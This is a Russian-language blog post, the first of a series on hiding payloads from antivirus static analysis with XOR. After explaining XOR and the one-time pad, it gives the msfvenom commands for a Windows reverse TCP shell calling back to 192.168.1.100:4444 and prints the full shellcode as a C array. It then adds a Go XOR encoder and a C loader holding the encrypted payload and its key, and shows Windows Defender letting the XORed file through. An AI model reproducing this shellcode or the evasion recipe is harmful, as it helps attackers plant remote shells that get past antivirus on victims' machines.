Перейти к основному содержимому
  1. Posts/

XOR encryption

Windows Development Encryption Obfuscation AV Bypass XOR Golang C
breach.zone
Автор
breach.zone
Оглавление
Encryption - This article is part of a series.
Part 1: This Article

Это небольшая серия статей про шифрование (обфускацию) полезной нагрузки и других данных для обхода статического анализа кода антивирусом.

Что такое XOR?
#

XOR — это логическая операция “исключающее ИЛИ”. Она работает с двумя битами следующим образом:

  • Если оба бита одинаковые (0 и 0, или 1 и 1), результат будет 0.
  • Если оба бита разные (0 и 1, или 1 и 0), результат будет 1.
XOR truth table
XOR truth table

Как работает XOR обфускация?
#

Когда мы применяем XOR для обфускации, мы берём:

  • Данные (например, текст или бинарный код).
  • Ключ (набор данных, которым мы будем XORить наши данные).
  • Каждый байт данных XORится с соответствующим байтом ключа (если ключ короче, он повторяется циклически).

XOR шифрование на уровне битов
#

Самый простейший вариант XOR это когда ключ является каким то одним символом. Для примера ниже сделаем ключ из одного символа A. А данными которые хотим зашифровать пусть будет строка hello world.

Пример для первого символа:

Символ h в ASCII = 104, в двоичной системе: 01101000.
Символ A в ASCII = 65, в двоичной системе: 01000001.
01101000 (h)
XOR
01000001 (A)
--------
00101001 (результат в двоичном виде)

Ниже таблица для всей строки hello world.

XOR with one symbol key
XOR with one symbol key

HEX представление hello world после обфускации XOR с ключом A:

29 24 2D 2D 2E 61 36 2E 33 2D 25

Обратимость
#

Особеностью XOR еще является тот факт, что шифрование полностью обратимо с помощью того же ключа, т.е. для шифрования и дешифрования можно использовать одну и туже функцию в коде.

Шифрование:

  10101100  (A, данные)
XOR
  11010101  (B, ключ)
  --------
  01111001  (C, зашифрованные данные)

Дешифрование:

  01111001  (C, зашифрованные данные)
XOR
  11010101  (B, ключ)
  --------
  10101100  (A, исходные данные)

Дешифрование
#

Пример с дешифрованием hex 29 24 2D 2D 2E 61 36 2E 33 2D 25 с помощью ключа A.

XOR decrypt
XOR decrypt

Надёжность XOR
#

Шифрование на основе XOR может быть как очень слабым, так и практически невозможным для взлома, в зависимости от того, какой используется ключ.

  • Если ключ короче данных, он повторяется, создавая закономерности. Это делает шифрование уязвимым к частотному анализу.
  • Если часть исходного текста известна (например, стандартный заголовок файла), ключ можно восстановить.

Пример атаки
#

Представим, что шифруем текст hello world с коротким ключом key. Повторяющийся ключ создаёт закономерности:

hello world
keykeykeyke

Частотный анализ дает возможность вычислить повторяющийся ключ, особенно если шифруются большие объёмы данных.

Одноразовый блокнот (One-Time Pad)
#

Когда XOR используется правильно, как в одноразовом блокноте, шифрование становится теоретически нерушимым.

Основные правила:

  • Ключ должен быть такой же длины, как данные.
  • Ключ должен быть полностью случайным.
  • Ключ никогда не должен повторяться.
  • Ключ должен быть секретным.

При соблюдении этих условий:

  • XOR шифрование гарантирует абсолютную безопасность.
  • Невозможно взломать зашифрованное сообщение, так как каждая возможная строка одинаково вероятна.

Обфускация payload
#

Payload без XOR
#

Посмотрим, что будет если сгенерировать shellcode с помощью msfvenom, сохранить его как массив байт в код написанный на C и скомпилированный exe просто сбросить на диск в Windows 11 c включенным антивирусом.

Подготовим payload:

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f C

В консоль выведется payload готовый для вставки в C код.

Msfvenom C payload
Msfvenom C payload

C loader
#

Сохраним его в программу написанную на C и скомпилируем exe.

#include <stdio.h>
#include <windows.h>

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\xd3\x37\x0c"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

int main() {
	printf("Data size: %zu\n", sizeof(buf));
	printf("Data:\n");
	for (int i = 0; i < sizeof(buf); i++) {
		printf("0x%02X, ", buf[i]);
	}
	printf("\n\n");


	printf("Press Enter to exit...");
	getchar();
	return 0;
}

Приведенный выше код просто печатает в консоль массив байт который хранится в buf. Сама полезная нагрузка никак не запускается.

Windows defender settings
Windows defender settings

В настройках антивируса все опции включены, кроме отправки сэмплов в Microsoft.

Windows defender settings
Windows defender settings

Попробуем просто сбросить готовый exe файл в директорию Downloads на Windows 11.

Windows defender detected
Windows defender detected

Cтандарный Windows Defender сразу же распознает сигнатуру metasploit и моментально удаляет файл с диска, не позволив его даже запустить.

Payload с XOR
#

Повторим эксперимент, только на этот раз сохраним shellcode в файл.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin

Golang xor_encoder
#

Теперь, нам надо каким то образом сделать обфускацию полученного shellcode применив к нему XOR.

Для этого я написал небольшую программу на Golang, которая читает shellcode с диска, генерирует случайный ключ длиной 128 бит, шифрует данные и печатает в консоль зашифрованный shellcode в C формате. Каждый бит полезной нагрузки изменяется отдельным битом ключа и при достижении конца ключа итерация по ключу начинается сначала.

package main

import (
	"crypto/rand"
	"encoding/hex"
	"flag"
	"fmt"
	"os"
	"strings"
)

// XorEncrypt performs XOR encryption on the payload using the provided key
func XorEncrypt(payload []byte, key []byte) []byte {
	payloadSize := len(payload)
	encrypted := make([]byte, payloadSize)
	// XOR operation
	for i, j := 0, 0; i < payloadSize; i++ {
		encrypted[i] = payload[i] ^ key[j]
		j = (j + 1) % len(key)
	}
	return encrypted
}

// GenerateRandomKey generates a random key of the specified size in bytes
func GenerateRandomKey(size int) ([]byte, error) {
	key := make([]byte, size)
	_, err := rand.Read(key)
	if err != nil {
		return nil, err
	}
	return key, nil
}

// formatForC generates a C-style array from a byte slice.
func formatForC(data []byte) string {
	var builder strings.Builder
	for i, b := range data {
		builder.WriteString(fmt.Sprintf("0x%02X", b))
		if i < len(data)-1 {
			builder.WriteString(", ")
		}
		if (i+1)%8 == 0 {
			builder.WriteString("\n\t")
		}
	}
	return builder.String()
}

func main() {
	inputPath := flag.String("input", "", "Path to the original shellcode file")
	outputPath := flag.String("output", "", "Path to save the encrypted shellcode")
	keySize := flag.Int("keysize", 16, "Size of the XOR key in bytes (default: 16)")
	customKey := flag.String("key", "", "Custom XOR key in hex format")
	flag.Parse()

	if *inputPath == "" {
		fmt.Println("Usage: xor_encoder -input <path_to_shellcode_file> [-output <path_to_output_file>] [-keysize <size_in_bytes>] [-key <custom_hex_key>]")
		return
	}

	// Read shellcode from the specified file
	payload, err := os.ReadFile(*inputPath)
	if err != nil {
		fmt.Printf("Error reading shellcode file: %v\n", err)
		return
	}

	var key []byte
	if *customKey != "" {
		key, err = hex.DecodeString(*customKey)
		if err != nil {
			fmt.Printf("Invalid custom key: %v\n", err)
			return
		}
		if len(key) == 0 {
			fmt.Println("Custom key cannot be empty")
			return
		}
	} else {
		key, err = GenerateRandomKey(*keySize)
		if err != nil {
			fmt.Printf("Error generating random key: %v\n", err)
			return
		}
	}


	encryptedPayload := XorEncrypt(payload, key)

	fmt.Printf("// Encrypted shellcode size: %d bytes\n\n", len(encryptedPayload))
	fmt.Printf("unsigned char xor_payload[] = {\n\t%s \n};\n", formatForC(encryptedPayload))
	fmt.Printf("unsigned char key[] = {\n\t%s \n};\n", formatForC(key))

	if *outputPath != "" {
		err = os.WriteFile(*outputPath, encryptedPayload, 0644)
		if err != nil {
			fmt.Printf("Error writing encrypted shellcode to file: %v\n", err)
			return
		}
		fmt.Printf("\n")
		fmt.Printf("[+] Encrypted shellcode saved to: %s\n", *outputPath)
	}
}
./xor_encoder -input shellcode.bin

В консоль будет выведено, что-то вроде этого:

XOR C payload
XOR C payload

C loader
#

Сохраним shellcode в наш C loader и добавим только новую функцию XOR для расшифровки полезной нагрузки.

#include <stdio.h>
#include <windows.h>

unsigned char xor_payload[] = {
	0x26, 0xEE, 0x6E, 0x6A, 0x2E, 0x6F, 0xE7, 0x96,
	0xF0, 0x0E, 0x20, 0x2A, 0xE8, 0x95, 0x0B, 0x4F,
	0x8C, 0xEE, 0xDC, 0x5C, 0xBB, 0xCF, 0xAC, 0xC4,
	0x90, 0x46, 0xEA, 0x29, 0xB1, 0x8D, 0xD2, 0x4C,
	0xFA, 0xEE, 0x66, 0xFC, 0x8E, 0xCF, 0x28, 0x21,
	0xBA, 0x44, 0x2C, 0x4A, 0x60, 0x8D, 0x68, 0xDE,
	0x76, 0x9A, 0x8C, 0xF2, 0xDC, 0xAB, 0x07, 0xD7,
	0x31, 0xC7, 0x6C, 0x3A, 0xA8, 0x04, 0xBB, 0xF3,
	0x88, 0xE7, 0xBC, 0xC6, 0x55, 0xD5, 0x07, 0x1D,
	0xB2, 0x32, 0x29, 0x7A, 0x79, 0x4E, 0xD9, 0x96,
	0xDA, 0xA6, 0xED, 0xC6, 0x5B, 0x47, 0x53, 0xF1,
	0xB8, 0x0F, 0xB1, 0x2B, 0x22, 0x8D, 0x41, 0x5A,
	0x51, 0xE6, 0xCD, 0xC7, 0xDF, 0x57, 0xC4, 0xC0,
	0xB8, 0xF1, 0xA8, 0x3A, 0x22, 0xF1, 0xD1, 0x56,
	0xDB, 0x70, 0xA0, 0xBF, 0x17, 0xCF, 0x16, 0x56,
	0x5C, 0x4F, 0xA0, 0xB2, 0xA4, 0x84, 0x58, 0xDF,
	0xE2, 0x46, 0x98, 0x7F, 0x92, 0x84, 0x6B, 0xB2,
	0xF8, 0x4B, 0x58, 0xAA, 0xDC, 0x1D, 0x01, 0x5A,
	0x51, 0xE6, 0xC9, 0xC7, 0xDF, 0x57, 0x41, 0xD7,
	0x7B, 0x02, 0x29, 0x3F, 0x22, 0x85, 0x45, 0x57,
	0xDB, 0x76, 0xAC, 0x05, 0xDA, 0x0F, 0x6F, 0x97,
	0x20, 0x4F, 0x39, 0x3A, 0xF1, 0x9B, 0x00, 0x44,
	0x9B, 0xFE, 0xAC, 0xD7, 0x9F, 0xDD, 0x6F, 0x15,
	0x1C, 0x2E, 0x20, 0x29, 0x56, 0x25, 0x01, 0x5F,
	0x83, 0xFC, 0xA5, 0x05, 0xCC, 0x6E, 0x70, 0x69,
	0x0F, 0xF1, 0x3C, 0x32, 0x17, 0xB2, 0x2A, 0x2C,
	0x85, 0x95, 0xDF, 0x8E, 0xDE, 0xC6, 0x71, 0xDF,
	0x79, 0xE8, 0x29, 0xFA, 0x45, 0x65, 0x58, 0x1E,
	0xDA, 0xEF, 0x64, 0x6B, 0x97, 0x3B, 0x25, 0x96,
	0xE1, 0x52, 0x6B, 0xA8, 0x9E, 0xC9, 0x18, 0x4A,
	0x93, 0x2F, 0x09, 0xC2, 0x57, 0x76, 0x66, 0x2C,
	0xBC, 0x79, 0x47, 0x7C, 0x56, 0x10, 0x15, 0x97,
	0x30, 0xCE, 0xEC, 0x8F, 0xDE, 0x87, 0x7E, 0xD7,
	0x4A, 0x27, 0xE1, 0x10, 0xA9, 0x3A, 0x8C, 0x4E,
	0x8A, 0xEB, 0xDC, 0x47, 0x93, 0xB6, 0xE7, 0xDE,
	0x0F, 0xCE, 0x29, 0xF2, 0x6B, 0x8D, 0xA6, 0xDE,
	0x92, 0x2F, 0x2C, 0xCF, 0x64, 0x6D, 0x28, 0x49,
	0x10, 0xF1, 0xB4, 0x33, 0x20, 0x02, 0x33, 0x0E,
	0x9B, 0xFE, 0xA1, 0x07, 0x3C, 0xCF, 0xAE, 0x6F,
	0xB1, 0xB4, 0xF8, 0xDE, 0xDD, 0xA4, 0xA6, 0xCB,
	0x92, 0x27, 0x29, 0xCE, 0xDC, 0x87, 0x27, 0xDF,
	0x48, 0x6D, 0x0C, 0x1F, 0xA9, 0xC5, 0x59, 0x1E,
	0xDA, 0xE7, 0xBD, 0xCF, 0x8E, 0xCF, 0xAE, 0x74,
	0xA7, 0x59, 0x36, 0x36, 0x98, 0x05, 0x33, 0x13,
	0x83, 0xE7, 0xBD, 0x6C, 0x22, 0xE1, 0xE0, 0xD2,
	0xD4, 0x5A, 0x60, 0x7A, 0xE1, 0x48, 0x1D, 0x3A,
	0xC2, 0x60, 0xED, 0xE6, 0x96, 0x0E, 0xC1, 0xC0,
	0xA0, 0x4F, 0x31, 0x3A, 0xF9, 0x84, 0x09, 0x57,
	0x25, 0x66, 0xAC, 0xDE, 0x97, 0x78, 0xEF, 0xDB,
	0x79, 0xCF, 0x2D, 0xF2, 0x68, 0x84, 0xE3, 0x67,
	0x16, 0x99, 0x6B, 0x71, 0x0B, 0xCF, 0x16, 0x44,
	0xB8, 0xF1, 0xAB, 0xF0, 0xA7, 0x84, 0xE3, 0x16,
	0x5D, 0xBB, 0x8D, 0x71, 0x0B, 0x3C, 0xD7, 0x23,
	0x52, 0x58, 0x20, 0xC1, 0x0F, 0x50, 0xE4, 0x83,
	0x25, 0x73, 0xA5, 0x0D, 0x1A, 0xAF, 0x1B, 0x90,
	0x8C, 0x04, 0xE1, 0x80, 0x49, 0xB0, 0x5C, 0xA5,
	0x9D, 0xB5, 0x9F, 0xE1, 0xB4, 0x87, 0x7E, 0xD7,
	0x79, 0xD4, 0x9E, 0xAE
};
unsigned char key[] = {
	0xDA, 0xA6, 0xED, 0x8E, 0xDE, 0x87, 0x27, 0x96,
	0xF0, 0x0E, 0x61, 0x7B, 0xA9, 0xC5, 0x59, 0x1E
};

VOID XOR(IN PBYTE data, IN SIZE_T dataSize, IN PBYTE key, IN SIZE_T keySize) {
	for (size_t i = 0, j = 0; i < dataSize; i++, j++) {
		if (j >= keySize) {
			j = 0;
		}
		data[i] = data[i] ^ key[j];
	}
}


int main() {
	printf("Press Enter to decrypt...");
	getchar();

	XOR(data, sizeof(xor_payload), key, sizeof(key));

    printf("Data size: %zu\n", sizeof(xor_payload));
	printf("Data:\n");
	for (int i = 0; i < sizeof(xor_payload); i++) {
		printf("0x%02X, ", xor_payload[i]);
	}
	printf("\n\n");
	

	printf("Press Enter to exit...");
	getchar();
	return 0;
}

В этом коде интерес представляет фунция XOR, которая работает аналогично тому, как это было реализовано в xor_encoder на Golang.

VOID XOR(IN PBYTE data, IN SIZE_T dataSize, IN PBYTE key, IN SIZE_T keySize) {
	for (size_t i = 0, j = 0; i < dataSize; i++, j++) {
		if (j >= keySize) {
			j = 0;
		}
		data[i] = data[i] ^ key[j];
	}
}

Скомпилируем код и сохраним exe файл в Downloads и попробуем запустить.

Bypass static analisys
Bypass static analisys

В данном случае антивирус все равно заподозрит неладное, но лишь предожит отправить sample в Microsoft, при это не удалит файл с диска и позволит запустить его.

У вас наверное созрел вопрос, а почему мы не попытались сделать реальный запуск полезной нагрузки, раз антивирус пропустил файл? Если в код добавить запуск shellcode стандартным образом, то антивирус моментально стриггериться на такие вызовы Windows API, как VirtualAlloc, CreateThread, флаг доступа к памяти PAGE_EXECUTE_READWRITE. Для того, чтобы сделать реальный запуск, придется применять другие техники.

Заключение
#

Это была вводная статья на тему обфускации полезной нагрузки и статического анализатора в антивирусе. Я планирую сделать подобные статьи еще для RC4 и AES шифрования.

Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!

Encryption - This article is part of a series.
Part 1: This Article